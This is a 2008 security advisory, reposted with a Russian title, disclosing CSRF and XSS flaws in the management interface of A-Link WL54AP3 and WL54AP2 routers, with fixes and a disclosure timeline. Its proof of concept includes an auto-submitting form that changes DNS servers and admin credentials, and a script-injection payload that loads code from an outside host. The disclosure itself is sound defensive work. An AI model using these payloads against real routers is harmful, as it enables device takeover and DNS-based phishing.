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  Межсайтовый скриптинг и подмена запросов в машрутизаторах A-Link

From:Henri Lindberg - Smilehouse Oy <henri.lindberg_(at)_smilehouse.com>
Date:4 ноября 2008 г.
Subject:A-Link WL54AP3 and WL54AP2 CSRF+XSS vulnerability

Hash: SHA256

          Louhi Networks Information Security Research
                       Security Advisory

    Advisory: A-Link WL54AP3 and WL54AP2 CSRF+XSS vulnerability
Release Date: 2008/10/31
Last Modified: 2008/10/28
     Authors: Jussi Vuokko, CISSP [[email protected]]
              Henri Lindberg [[email protected]]

      Device: A-Link WL54AP3 and WL54AP2 (any firmware)
    Severity: CSRF and XSS in management interface
        Risk: Moderate
Vendor Status: Vendor has released an updated version
  References: http://www.louhinetworks.fi/advisory/alink_081028.txt


  Quote from http://www.a-link.com/
  "WLAN Access point 54MB, 4-port
   Wlan Access point, wireless 54Mbps, DSSS, 802.11g-standard based and
   it's compatible also with other manufacturers cards."

  During an audit of A-Link WLAN54AP3 it was discovered that a cross
  site request forgery vulnerability exists in the management
  interface. It is possible for an attacker to perform any
  administrative actions in the management interface, if victim
  can be lured or forced to view malicious content. These administrative
  actions include e.g. changing admin user's username and password,
  DNS settings etc.

  In addition, it was discovered that no input validation or output
  encoding is performed in management interface, thus making it
  vulnerable to cross-site scripting.

  By default admin password is blank and no authentication is performed
  for requests to administrative interface. As ordinary consumers usually
  use out-of-the-box settings, this vulnerability offers same kind of
  phishing possibilities as used in Banamex attacks[1].

  A-Link WLAN54AP2 (EOL) is vulnerable to this threat as well.

  [1] http://www.google.fi/search?q=banamex+phishing+dns+poison


  A-Link WLAN54AP3 does not validate the origin of an HTTP request. If
  attacker is able to make user view malicious content, the WLAN54AP3
  device can be controlled by submitting suitable forms. Attacker is
  effectively acting as an administrator.

  Successful attack requires that the attacker knows the management
  interface address for the target device (default IP address is As the management interface does not have logout
  functionality, user can be vulnerable to this attack even after
  closing a tab containing the management interface (if user does not
  close the browser window or clear cookies and depending on browser
  behaviour) or if default blank password is used.

Proof of Concept:


  Example form (changes DNS servers, enables WAN web server access
  and changes user's username and password):

  <body onload="document.wan.submit(); document.password.submit()">
  <form action=""
   method="post" name="wan">
  <input type="hidden" value="dnsManual" name="dnsMode" checked>
  <input type="hidden" name="dns1" value="">
  <input type="hidden" name="dns2" value="">
  <input type="hidden" name="dns3" value="">
  <input type="hidden" name="webWanAccess" value="ON"
  <form action=""
   method="post" name="password">
  <input type="hidden" name="username" value="mallory">
  <input type="hidden" name="newpass" value="gotroot">
  <input type="hidden" name="confpass" value="gotroot">


  Add following content to management interface's Management - DDNS -
  Domain Name:

  ""><script src="http://l7.fi"></script><p




 Include a random user-specific token in forms. More information:

 Perform an input validation and/or an output encoding. More information:

 Use secure out-of-the-box configuration (for example generate
 default passwords based on device serial or MAC address using
 a secure cryptographic algorithm).

Disclosure Timeline:

  13. September 2008     - Contacted A-Link by email
  28. October 2008       - Vendor released an updated version
  31. October 2008       - Advisory was released

Copyright 2008 Louhi Networks Oy. All rights reserved.


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